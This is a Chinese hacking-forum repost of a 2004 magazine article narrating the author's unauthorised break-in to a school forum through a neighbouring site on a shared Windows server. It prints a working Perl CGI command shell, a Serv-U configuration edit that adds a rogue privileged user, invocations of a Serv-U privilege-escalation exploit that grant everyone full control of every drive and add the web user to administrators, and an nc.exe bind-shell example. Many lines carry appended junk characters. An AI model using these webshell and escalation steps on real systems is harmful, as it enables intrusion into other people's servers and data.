找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2017|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击 4 R- |5 V3 H- Q4 O8 V6 a
本文作者:angel7 Q& _: Y7 f3 Q' J) M
文章性质:原创
6 B6 ?& l4 u2 u发布日期:2004-11-09
4 ~6 V6 v9 k2 i注意:) @. \+ U! }$ g' F$ Q
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
% I8 ?* Y" t6 f/ B9 F本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。0 X& H( n0 ~: n4 l, Y
5 z  k, b5 y6 k) ^6 |5 f
  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 0 p& r+ ]% }7 L  e4 E

0 S& y2 c' ~7 G$ L  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
$ W4 y7 N- {8 ^( `; c/ _8 S5 [1 v1 ]% M( I! W4 G( H# t5 `
  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 / E/ U: F  W( t, W; v" P3 c' _8 J  v& l  \

6 F$ B7 f  @% `7 d- c5 c4 P  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
' n" q& f0 T, m7 }, ]$ B9 u5 H
' X$ J( ~! t, A  _# I# v  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
: y) Q. A' ?! B; n5 Z0 M, N
* T- w" S& f# h9 A  没有目的的跳转目录着…… * O, U( G6 `* w
% x3 x, S4 @0 S, U- M5 X; t# p
  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… . {- t" W/ i' m5 ]) b7 H
2 `/ g0 k: W+ ~6 o0 V
  结束了吗?不,我试着 FTP 一下: ) t  K) X& l- [2 m3 J# G
2 i0 z. Z% ]4 l) D9 d6 l
Microsoft Windows 2000 [Version 5.00.2195]9 E1 C% w5 _( }4 D) f5 L8 a: a
(C) 版权所有 1985-2000 Microsoft Corp. 4 O  ^9 \8 `. h
3 \4 z0 {4 I) j
C:\Documents and Settings\Administrator>ftp www.school.com# r# c0 N" a' p; y- ~5 a
Connected to www. school.com. 6 A! s. B( {# [' A
220 Welcome to FTP Server... : s0 y1 S) l: `! e2 U% i
User (www.bjtrq.com:(none)): 8 `$ [) Q* d2 d$ F+ k% `
331 User name okay, need password. & Q  g4 s: B: t  X4 |" s
Password:
) k' Q+ I! w2 y/ v6 i530 Not logged in.
: j9 i5 {2 a- x) e! ]+ ?9 {Login failed.
# ^6 ?: s2 d! h: h8 J1 [" T/ \ftp> bye
1 [( \% ~( z3 T  O, S221 Goodbye! * M4 d- A$ F- i! U+ \1 ~4 Z4 ]  Q- J
; ?3 T8 h! {8 J9 E5 r9 x& ?+ w
* F# Y# A' L, b9 @; v7 e1 g* f
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
: b: j8 w: a6 p' X9 h5 H2 ]+ X- @4 }. K# Z
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
+ v- Y8 d  w: T/ t9 w. q
/ J" u, n- |- [4 rApplication Data( |- k" }9 [4 I* _
Documents) m; a; {+ F$ ^0 I. v
DRM! }9 m' X: m0 N* V6 K. K4 u6 ^* [
Favorites
: {& U# J. _+ ~9 E) L, WTemplates( E( E  _& ~/ q9 X. u
「开始」菜单
+ s7 G$ B- {. h. c5 A" l桌面) R5 k2 K2 A- h( i9 a5 j* i" \
- A* {- x, B; p. W6 S( }
  U4 p8 x2 c4 W! Z
  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, + w+ l8 T4 G) e+ K4 |
5 k: f0 ^! g1 `. e7 a. e$ N
ActiveState ActivePerl 5.8
) r  s& f( h; B" i1 YAdministrative Tools* p' l1 {8 K. n  D! L
Deerfield.com
! X. i2 }& {8 f1 Y& qDTemp
& y# ^3 a9 _0 H; d: U$ ?IPSentry
( F' M' e+ p- ?4 P6 r3 O% eMBM 5- [: w3 r+ T% j; L
NetMeter
/ V2 f% h4 o$ n) s" W6 y' b9 K* DNetwork ICE
; i- {7 e7 S0 o4 hPersits Software AspEmail
  q7 v" k% E7 D2 @2 n( ~, _Persits Software AspJpeg5 l' _3 Y/ ~9 i) ?! [4 p) u9 B
Serv-U FTP Server( D7 C# {9 |& E2 [- A
Symantec Client Security, z0 j/ s3 P$ G  p8 Q) P( e
Windows 优化大师2 @( @+ X+ Q$ {- W
WinRAR
0 e* b, f0 N# |7 b( ^) E! p" M启动
4 n2 N" i1 Y" @! k管理工具" u2 z9 b7 t9 \6 \0 K7 [  H& V( L
附件
5 t# K+ n/ V! c9 ?2 \
/ y8 w- a6 A8 P3 g/ c  ], Q* Y9 X
1 ?7 D# k. X. H- _7 P& h/ X+ K7 Q  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
. @* v# j% Q: x! x6 r0 i4 j4 o; z* e7 u$ y% q2 J. m/ j
  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: 1 \# R7 ^0 p4 F, m

! e; l7 P& h" \6 ^6 y% d: CUser281=angel|1|0
6 I1 s2 t% c' o$ F0 j( W' X ; Q' l; M" U) U7 n9 b9 E

! w7 A' x3 X( y1 t' ^1 {$ L  然后加上 # m9 H1 w: v: w
8 @$ P( T, z2 h3 D7 ]4 P* u
[USER=angel|1]
' \7 s/ Q- C, K, [8 Z: zPassword=ng98F85379EA68DBF97BAADCA99B69B805" Z# N: ^$ O' @' T' b* [/ N
HomeDir=D:\websites  S% e6 g" w) d6 l$ P2 P
RelPaths=1
  D8 R  S( j8 v4 t" NTimeOut=600
: C8 j) L8 s$ J+ {: hMaintenance=System
. O% a0 C9 T4 g6 n! zAccess1=D:\websites|RWAMELCDP3 D7 X' ?  }9 p1 q# }1 r# {
SKEYValues=) W$ }2 R  P0 X7 O+ q

# l3 y$ W, q" E! v1 t, ^3 h( d+ U
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
) n  z8 H& @8 G- z# }2 z! |& N' f( w; w# j$ E8 R; J
  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 1 {# B" C" l/ n2 r

7 ^. {9 F4 D& X: M  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 ! O- i; z! \+ N5 }6 i+ d4 z$ a) }

# Y7 J5 W# c* }  ^  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
) Y  q# T; {* ^6 n) m" q$ ~# S1 O; B1 d* J9 ^5 K% \
#!/usr/bin/perl
/ w( `7 O6 m) W( r$ ybinmode(STDOUT);9 c' g8 w/ r7 `+ A8 _
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
- {" A, J5 |; I/ O4 j$_ = $ENV{QUERY_STRING};: F8 {* `9 I; K+ c. R  |' w; s
s/%20/ /ig;
( E6 N$ b* t3 w& ys/%2f/\//ig;
- @/ ]0 E0 C" q- n1 i$execthis = $_;
! I8 z* ~4 h( L$ m9 c- C1 Nsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);) K8 K* o7 H8 `/ f
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
+ F4 [; ]( m1 z0 d) fsystem($execthis);: [: Q5 L* ~, L+ h
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);! ^% M. v; V/ w2 E5 O! @, g0 O- _
close(STDERR);
4 l3 E4 V4 F+ w. v: [close(STDOUT);5 [! g8 L  J3 T9 ?. T1 z* y
exit;" F5 y! n# P- x8 `2 z
  e6 a/ R6 j- `& q9 s
, N0 q0 k* Z6 U
  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! 0 f- _+ K; l+ w$ B
; V" K+ |$ Z4 O. P  p; F6 Y
  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
9 W6 d2 k/ i6 A8 a( ~; j2 j) ?( Y1 c  Q+ `8 i8 ^+ X7 |) [
http://anyhost//cmd.pl?d:\user\bin\su.exe * n% i" L) B  D9 |  B$ o

# D% z$ j+ A; ^5 H0 ?5 {0 c7 A4 i
7 \8 Y! o, q5 K$ P2 _- S  返回: # |* t+ N4 C7 p. p- N
4 G; n- c8 W! o3 u: _+ |+ X/ D3 ^
Serv-u >3.x Local Exploit by xiaolu & _  O* ~& n- h, D* D: V* h( ?6 K% J
5 x7 l: x. f$ ~' t
USAGE: serv-u.exe "command" ) }1 D( V, X/ k+ P! q
6 D. u$ V* I; v0 j% g2 J9 b5 x+ o" {% U
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" 7 N! }- d- i9 J
6 a, s* v$ e! [: J

1 U2 i$ r) }  q( H9 O4 U; |/ r  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: 9 p0 i5 o. o. X- @. O+ R
6 _* D% j, C6 q9 h; u/ w0 I2 [
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" . b8 n$ A  s) }, R2 `
2 s& X0 k& ~0 \, o5 ~
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
9 B8 P0 i9 s3 I, j3 A4 J
8 H) J. p' s8 n; T0 j9 Xhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
. w8 x: j! x; X+ f1 T+ |, [- g8 _. O7 w2 c
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
: b- N3 A! O' ?4 z3 u4 P : {; o7 o. X) H, m+ D0 H- D

9 ?& g4 i  Q! z, t5 c  返回下面的信息,就表示成功了!!! : {( O9 X9 G' n2 v7 H+ j

  W% b- n' h* G3 CServ-u >3.x Local Exploit by xiaolu
9 a4 ]  L+ g; U7 Z* m: V
- n8 a5 M( ~4 ^<220 Serv-U FTP Server v5.2 for WinSock ready...
3 u3 T+ I. q- s4 v( h3 q, H1 g/ H9 }$ x  h+ @
>USER LocalAdministrator 7 Z: H8 a" {3 c7 u& a4 D4 K
: t" Y8 A: ]0 n3 u
<331 User name okay, need password. " m- b6 ?1 z; ?5 x( S3 @
9 K  u+ W; }  u: @+ i$ N% {5 S9 t+ t
****************************************************** " c0 L6 [1 J/ f$ V! U' p5 \# ]. I

3 Y+ J) {$ z  L0 E- F4 m>PASS #l@$ak#.lk;0@P
) N- }; ~, T& w- `! v! q/ {* G4 o) n2 n) {9 a! I
<230 User logged in, proceed.
- E! `7 `' l# g  C7 R3 o+ ~9 ?( w$ T1 u* I! ]3 h8 X
****************************************************** ; |! }6 Q4 A5 ^% r

; s/ ~0 e% f: W, Q+ Z>SITE MAINTENANCE * {6 S2 |( k' o3 G
0 L) m+ V7 m0 ]5 b% V
******************************************************
: \5 B' Q( A2 W9 o5 T+ X
/ k0 R6 U/ Z- h- M: t[+] Creating New Domain...
! s4 J8 b2 b6 L1 M  r- e0 h+ @$ z6 U" J0 B5 D
<200-DomainID=2 2 N  z/ d- C: N/ K% D

2 R- M/ E; H6 {! {7 G<220 Domain settings saved
  O; m5 ?/ [% [, t2 d% D) Z5 M3 W7 F; t8 W% [8 y' B4 A
******************************************************
( r2 q* |+ O. v2 p* ]: G% d4 {0 W, E: R! L% Y
[+] Domain xl:2 Created
0 Y& }, v* y* B% q, w" I/ g$ I5 M& l- d( O9 L. u
[+] Creating Evil User 5 N+ B' w! M; p* W

' q$ D, q: d3 a. @<200-User=xl + e4 K# k0 Q) ]
# G; J% u# o) l' U+ @  w
200 User settings saved 5 `& `( r6 ]+ m. ?1 ~/ D, {
( l% K* P; @2 y1 Q( ^) Q4 A! r
******************************************************
: i; O3 Y5 Y: x, J
) s  [8 s0 Z: H1 M8 E[+] Now Exploiting... ; i+ J9 G' F- ?# q2 }

- J; C9 \9 n; O, n8 g8 _$ [>USER xl
& v+ \, o0 ^# S; k; u
0 K, A% g6 O, J  o- B3 [# k0 S* z0 n9 y<331 User name okay, need password.
/ g7 q2 s/ ~5 V( L, ~0 v3 o* }5 U6 o, T7 g
****************************************************** 6 g8 U8 @$ W' t: f3 s6 u+ ?

. b4 z$ {7 j. X6 j; _4 }# ~0 P>PASS 111111
& M  U; d. I1 E* d2 G7 F
% a; |% g0 j! N' V; o, A! b* [) c<230 User logged in, proceed.
6 x* g; ^. a+ L. o6 h9 V/ m" x  y  U/ ]/ I
****************************************************** 0 l! ~* r6 B6 h- C

7 i  T5 G5 p0 V# B. ?[+] Now Executing: cacls.exe c: /E /T /G everyone:F
$ f  a. ^. K9 }3 a8 S# {. X  r  T) z! o6 ^4 k& f0 |
<220 Domain deleted 7 u+ U( h3 ~: H7 X
! P6 ]9 ?7 d1 a- |
******************************************************
6 _9 H/ ?5 W+ L. x
1 c+ w" g& }4 r: J2 q% M7 j) v% Z. O2 ]
  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
; e4 \; f8 |: E% M8 g8 f0 F8 w) ^
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"   D1 |2 S) y8 n" c. {1 k2 C4 I: O* [

) F7 s" N$ j4 i( e
. U) ~. a3 i. P) ^: e  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
! Y1 n* G0 y' R% }: k  ^9 j: P) ?, E! ?
  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
4 w; G5 V8 u' q ) G) p: J4 y# c5 q
  % s2 v; u$ Q. }! o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表